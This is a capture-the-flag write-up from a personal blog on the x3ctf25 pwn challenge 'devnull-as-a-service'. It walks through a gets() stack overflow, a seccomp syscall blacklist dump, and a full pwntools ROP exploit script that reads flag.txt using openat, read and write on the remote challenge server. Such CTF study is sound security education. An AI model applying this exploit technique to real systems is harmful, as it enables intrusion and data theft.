👾
Elijah's CTF Blog
  • 👋Home
  • SSMCTF 25
    • Orange Deportation Simulator (pwn)
    • ecssp (crypto)
  • 🌸x3ctf25
    • notcrypto (rev)
    • pickle-season (rev)
    • devnull-as-a-service (pwn)
  • 🇲🇾Wargames.MY CTF 2024
    • Credentials (crypto)
    • Stones (rev)
    • Rick'S Algorithm (crypto)
    • Rick'S Algorithm 2 (crypto)
    • Hohoho 3 continue (crypto)
  • 🎄Advent of CTF 2024
    • Jingle Bell ROP (pwn)
    • help (pwn)
  • Backdoor CTF 24
    • [rev] Ratatouille
  • 🇭🇰HKCERT CTF 24
    • Shellcode Runner 3 + Revenge (pwn)
    • ISH (1) (pwn)
    • Cyp.ress (rev)
    • Void (rev)
  • 🇮🇹ECSC 2024
    • ➕OffTopic (crypto)
  • 🎩Greyhats WelcomeCTF 24
    • EE2026 (misc)
  • 🚆UIUCTF 24
    • Syscalls (pwn)
    • Summarize (rev)
    • X Marked the Spot (crypto)
    • Without a Trace (crypto)
    • Determined (crypto)
    • Naptime (crypto)
    • Snore Signatures (crypto)
  • 🪼Jelly CTF 24
    • Cherry (crypto)
    • the_brewing_secrets (crypto)
  • 👨‍🦯vsCTF 24
    • Dream (crypto)
    • Cosmic Ray V3 (pwn)
  • 😎AKASEC CTF 24
    • Warmup (pwn)
    • Good_trip (pwn)
    • Sperm Rev (rev)
    • Paranoia (rev)
    • Grip (rev)
    • Risks (rev)
    • Lost (crypto)
  • 😁L3AK CTF 24
    • oorrww (pwn)
    • angry (rev)
    • Related (crypto)
    • BatBot (web-misc)
    • Matrix Magic (crypto)
  • 🥹CDDC Qualifiers 2024
    • WASM (rev)
    • crashMe (pwn)
Powered by GitBook
On this page
  1. x3ctf25

devnull-as-a-service (pwn)

This program is statically linked and its main function is relatively small:

void dev_null(void)
{
  char local_10 [8];
  
  puts("[/dev/null as a service] Send us anything, we won\'t do anything with it.");
  enable_seccomp();
  gets(local_10);
  return;
}

Looking at the security of the binary we have:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Although checksec claims there is a canary, for the dev_null function there isn't.

Looking at the seccomp rules:

> seccomp-tools dump ./dev_null
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x1c 0xc000003e  if (A != ARCH_X86_64) goto 0030
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x19 0xffffffff  if (A != 0xffffffff) goto 0030
 0005: 0x15 0x18 0x00 0x00000002  if (A == open) goto 0030
 0006: 0x15 0x17 0x00 0x00000003  if (A == close) goto 0030
 0007: 0x15 0x16 0x00 0x00000012  if (A == pwrite64) goto 0030
 0008: 0x15 0x15 0x00 0x00000014  if (A == writev) goto 0030
 0009: 0x15 0x14 0x00 0x00000016  if (A == pipe) goto 0030
 0010: 0x15 0x13 0x00 0x00000020  if (A == dup) goto 0030
 0011: 0x15 0x12 0x00 0x00000021  if (A == dup2) goto 0030
 0012: 0x15 0x11 0x00 0x00000028  if (A == sendfile) goto 0030
 0013: 0x15 0x10 0x00 0x00000029  if (A == socket) goto 0030
 0014: 0x15 0x0f 0x00 0x0000002c  if (A == sendto) goto 0030
 0015: 0x15 0x0e 0x00 0x0000002e  if (A == sendmsg) goto 0030
 0016: 0x15 0x0d 0x00 0x00000031  if (A == bind) goto 0030
 0017: 0x15 0x0c 0x00 0x00000038  if (A == clone) goto 0030
 0018: 0x15 0x0b 0x00 0x00000039  if (A == fork) goto 0030
 0019: 0x15 0x0a 0x00 0x0000003a  if (A == vfork) goto 0030
 0020: 0x15 0x09 0x00 0x0000003b  if (A == execve) goto 0030
 0021: 0x15 0x08 0x00 0x00000065  if (A == ptrace) goto 0030
 0022: 0x15 0x07 0x00 0x00000113  if (A == splice) goto 0030
 0023: 0x15 0x06 0x00 0x00000114  if (A == tee) goto 0030
 0024: 0x15 0x05 0x00 0x00000124  if (A == dup3) goto 0030
 0025: 0x15 0x04 0x00 0x00000125  if (A == pipe2) goto 0030
 0026: 0x15 0x03 0x00 0x00000128  if (A == pwritev) goto 0030
 0027: 0x15 0x02 0x00 0x00000137  if (A == process_vm_writev) goto 0030
 0028: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0030
 0029: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0030: 0x06 0x00 0x00 0x00000000  return KILL

Notice that the openat, read and write syscalls are not blacklisted. Therefore, we can write an ROP chain to do just that. Since there was no pop rdx gadget, I had to settle for a xchg rdx, rax gadget. Also, I wanted to use flag.txt for the second parameter to openat, which is a relative pathname. Therefore I had to pass the special value of AT_FDCWD (which is -100) as the first argument. Using pwntools' constants.linux.amd64.varname saved time in finding the values of constants.

Below is my solve script:


from pwn import *
# fill in binary name
elf = context.binary = ELF("./dev_null")

if args.REMOTE:
  # fill in remote address
  p = remote("8acd42c0-1606-412c-9925-2c2fddbd5ee6.x3c.tf", 31337, ssl=True)
else:
  p = elf.process()

pl = b""
f = open("testpl","wb")
# print(int(constants.linux.amd64.O_RDONLY)) # 0
# print(int(constants.linux.amd64.AT_FDCWD)) # -100
rop = ROP(elf)
rop.raw(0)
rop.raw(0)
# openat syscall rdi = -100, rsi = flag.txt, rdx = 0
rop.rax = 0
rop.raw(0x41799a) # # 0x000000000041799a : xchg rdx, rax ; ret
rop.rsi = 0x4ae090
rop.rax = b"flag.txt"
rop.raw(0x420f45) # 0x0000000000420f45 : mov qword ptr [rsi], rax ; ret
rop.rax = 0x101
rop.rdi = -100
rop.raw(0x40bcd6) # 0x000000000040bcd6 : syscall ; ret
f.write(rop.chain())
pl += rop.chain()

# read syscall
rop = ROP(elf)
rop.rdi = 3
rop.rax = 100
rop.raw(0x41799a) # # 0x000000000041799a : xchg rdx, rax ; ret
rop.rax = 0
rop.raw(0x40bcd6) # 0x000000000040bcd6 : syscall ; ret
f.write(rop.chain())
pl += rop.chain()

# write syscall
rop = ROP(elf)
rop.rdi = 1
rop.rax = 1
rop.raw(0x40bcd6) # 0x000000000040bcd6 : syscall ; ret
f.write(rop.chain())
pl += rop.chain()

# print(rop.gadgets)
# print(rop.dump())
p.sendline(pl)
# print(rop.chain())
p.interactive() # MVM{r0p_4nd_sh3llc0d3_f0rm5_4_p3rf3c7_b4l4nc3}

Last updated 4 months ago

🌸